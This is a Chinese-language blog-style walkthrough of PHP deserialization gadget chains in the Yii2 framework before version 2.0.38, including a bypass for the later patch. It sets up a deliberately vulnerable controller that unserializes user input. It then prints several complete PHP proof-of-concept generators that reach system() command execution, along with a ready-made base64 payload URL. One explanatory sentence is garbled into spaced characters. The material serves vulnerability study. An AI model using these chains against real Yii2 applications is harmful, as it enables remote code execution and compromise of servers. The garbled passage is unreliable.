漏洞在yii2.0.38之前的版本,下载2.0.37basic版本
https://github.com/yiisoft/yii2/releases/tag/2.0.37
修改/config/web文件的值
在当前目录输入php yii serve
启动
先构造反序列化的入口
新建一个controller
<?php namespace app\controllers; class SerController extends \yii\web\Controller { public function actionSer($data){ return unserialize(base64_decode($data)); } }
poc
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
提交
http://localhost:8080/?r=ser/ser&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
入口是BatchQueryResult的destruct
跟进reset
这里的_dataReader
是可控的,并且调用了close方法,我们可以寻找有__call
方法的类,当此类的对象中调用不存在的方法时会调用__call方法
全局搜索__call
,找到\vendor\fzaninotto\faker\src\Faker\Generator.php
中可用的方法
close为无参函数,最终调用为format(close)
跟进format
继续跟进getFormatter
formatters
是我们可控的,所以这个函数的返回值是我们可控的,那么call_user_func_array
的第一个参数就是可控的,但第二个参数是空的,所以我们要找到可用的无参函数,或者单纯的调用phpinfo()这种无参函数。
可使用正则寻找无参函数
function \w+\(\)
大佬的思路是搜索call_user_func函数
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
rest/IndexAction.php比较好利用
checkAccess
和id
都是可控的,我们可以调用任意方法了。
还是以BatchQueryResult类的__destruct为入口,但不利用__call
了,直接找可利用的close函数
找到advanced\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法
跟进composeFields()
protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : []; if ($id !== null) { $fields['id'] = $id; } if ($data !== null) { $fields['data'] = $data; } return $fields; }
有call_user_func($this->writeCallback, $this)
且writeCallback可控,然后再利用这个调用上面链里的run方法就行
poc
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace yii\db{ use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct(){ $this->_dataReader=new DbSession(); } } } namespace yii\web{ use yii\rest\IndexAction; class DbSession { public $writeCallback; public function __construct(){ $this->writeCallback=[new IndexAction(),'run']; } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
https://github.com/yiisoft/yii2/compare/2.0.37…2.0.38
2.0.38,增加了__wakeup(),所以BatchQueryResult不能再反序列化了
那我们可以再找个新的反序列化入口
全局搜索__destruct
发现了RunProcess
类可以利用
跟进
这里的process是可控的,我们照样可以利用之前的链调用__call
方法
poc
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['isRunning'] = [new IndexAction(), 'run']; } } } namespace Codeception\Extension{ use Faker\Generator; class RunProcess { private $processes = []; public function __construct(){ $this->processes[]=new Generator(); } } } namespace{ use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess())); }
利用成功
lib\classes\Swift\KeyCache\DiskKeyCache.php
中的destruct也可以作为入口
跟进
其中涉及到了字符串拼接,可以寻找__toString
方法
see.php中的__toString
可以利用
public function __toString() : string { return $this->refers . ($this->description ? ' ' . $this->description->render() : ''); } }
$this->description
是我们可控的,这里又可以调用__call
了
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['render'] = [new IndexAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See { protected $description; public function __construct(){ $this->description=new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache { private $keys = []; private $path; public function __construct(){ $this->path=new See(); $this->keys=array( 'hello'=>'world' ); } } echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); }
在寻找过程中发现还有的可以利用,但有的尝试后会错误,貌似是__toString中不能引起异常,有点迷…
然后看到了信师傅https://zhuanlan.zhihu.com/p/257811755说是视图错误不回显,命令是执行了的,但我试的那一个还是没成功运行命令,麻了…
这个链之前有个比赛出过
同样也是vendor/codeception/codeception/ext/RunProcess.php
的__destruct
为入口
public function __destruct() { $this->stopProcess(); } public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; } }
通过isRunning()调用__call
方法
之前是用vendor/fakerphp/faker/src/Faker/Generator.php
调用__call
方法,但新版本调用了wakeup做限制
public function __wakeup() { $this->formatters = []; }
这里使用
**vendor/fakerphp/faker/src/Faker/ValidGenerator.php
**的类__call
public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } }
$this->generator
,$this->validator
,$this->maxRetries
,都可控,但这没啥用,name的值固定了,所以还是利用只能这个调用其它函数的__call
,但再次调用其它的call不如直接就调用那个call。
不过vendor/fakerphp/faker/src/Faker/DefaultGenerator.php
中的call可以返回任意值(default可控
可以将 t h i s − > d e f a u l t 设 置 为 我 们 的 命 令 , 那 r e s 的 值 就 是 我 们 的 命 令 , 再 控 制 this->default设置为我们的命令,那res的值就是我们的命令,再控制 this−>default设置为我们的命令,那res的值就是我们的命令,再控制this->validator为system就可以执行任意命令了
poc
<?php namespace Faker{ class DefaultGenerator{ protected $default ; function __construct($argv) { $this->default = $argv; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($command,$argv) { $this->generator = new DefaultGenerator($argv); $this->validator = $command; $this->maxRetries = 99999999; } } } namespace Codeception\Extension{ use Faker\ValidGenerator; class RunProcess{ private $processes = [] ; function __construct($command,$argv) { $this->processes[] = new ValidGenerator($command,$argv); } } } namespace { use Codeception\Extension\RunProcess; $exp = new RunProcess('system','whoami'); echo(base64_encode(serialize($exp))); exit(); }
https://blog.csdn.net/qq_43571759/article/details/108804083
https://zhuanlan.zhihu.com/p/257811755
https://www.anquanke.com/post/id/217929#h2-3
https://xz.aliyun.com/t/9420